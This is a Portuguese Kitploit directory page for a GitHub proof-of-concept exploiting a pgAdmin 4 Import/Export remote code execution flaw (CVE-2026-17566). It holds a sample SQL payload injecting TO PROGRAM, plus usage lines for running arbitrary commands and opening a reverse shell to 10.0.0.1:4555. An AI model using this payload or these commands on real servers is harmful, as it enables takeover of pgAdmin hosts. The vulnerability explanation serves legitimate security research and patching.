Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-17566 — pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Injeção TO PROGRAM via incompatibilidade de escape com barra invertida | Kitploit
Ferramentas/GitHubGitHub/hackspeak/cve-2026-17566
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de Penetração
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Injeção TO PROGRAM via incompatibilidade de escape com barra invertida

Ver Repositório
18há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-17566 — PoC de RCE em Import/Export Data do pgAdmin 4

PoC de execução remota de código na ferramenta Import/Export Data do pgAdmin 4. Explora a divergência de semântica de escape de barra invertida entre o verificador de parênteses _is_query_parens_balanced() e o psql para injetar \copy ... TO PROGRAM e executar comandos arbitrários no servidor que executa o pgAdmin.

Cadeia de ataque de contexto: CVE-2026-17349 (vazamento de credenciais do Workspaces) → CVE-2026-17351 (bypass de somente leitura do AI Assistant) → esta vulnerabilidade (RCE). Todas as três exigem apenas um usuário autenticado de baixo privilégio.

Resumo da vulnerabilidade

A ferramenta Import/Export Data insere o SQL do usuário em um template Jinja para construir o comando psql \copy (...). O verificador de equilíbrio de parênteses escrito à mão sempre trata \' como aspas escapadas (correto apenas quando standard_conforming_strings=off); porém, com o padrão do PostgreSQL standard_conforming_strings=on, o psql trata a barra invertida como caractere comum, e as aspas são fechadas diretamente.

-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

O verificador considera que ) ainda está dentro da string → o equilíbrio de parênteses passa; o psql fecha a string em a\', ) encerra o invólucro \copy (...), e TO PROGRAM 'cmd' se torna uma instrução viva, executada pelo popen() do psql.

  • CWE: CWE-78 (injeção de comandos do SO) / CWE-115 (interpretação incorreta de entrada)
  • CVSS: 9.9 (CVSS 3.1) / 9.4 (CVSS 4.0), escopo alterado, baixo privilégio + sem interação
  • Afetados: pgAdmin 4 < 9.18 (desde a introdução de _is_query_parens_balanced()); commit de correção 1496fabe
  • Relacionados: CVE-2025-12762 / CVE-2025-13780 (injeção de TO PROGRAM no psql, mesma família)
  • Descoberto por: Arpit Jain (arpitjain099)

Condições de exploração

  • Usuário do pgAdmin autenticado com baixo privilégio (com permissão tools_import_export_data)
  • Serviço pgAdmin acessível pela rede
  • Alvo com pgAdmin 4 < 9.18 e ferramenta Import/Export disponível

Uso

export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555
ParâmetroDescrição
--urlURL base do pgAdmin
--user / --password (ou PGADMIN_PASSWORD)Conta de baixo privilégio
--commandComando arbitrário (não pode conter aspas simples)
--reverse HOST:PORTGera reverse shell em bash
--server-idID do servidor (padrão: usa o primeiro automaticamente)
--fileNome do arquivo de exportação (usado para montar o comando \copy, padrão /tmp/pgadmin_export.csv)
--no-verifyIgnora a verificação de certificado TLS

Fluxo: login (CSRF/session tratados automaticamente) → enumeração de servidores → POST /import_export/job/<sid> envia a requisição is_query_export construída.

⚠️ Aviso de isenção de responsabilidade

Apenas para pesquisa de segurança, validação de vulnerabilidades e testes defensivos. Este script foi escrito com base em análises técnicas públicas e não foi validado em ambiente real; os campos das requisições podem precisar de ajustes conforme a versão do pgAdmin alvo. Execute apenas em ambientes de teste autorizados e não utilize contra sistemas sem autorização.

Atribuição e referências

  • Este repositório é um PoC escrito de forma independente (Licença MIT), com base técnica em materiais públicos
  • Issue oficial #10213: erro de semântica de barra invertida no verificador de parênteses
  • OpenCVE: CVE-2026-17566
  • NVD: CVE-2026-17566
  • Commit de correção: 1496fabe
Baixar ferramenta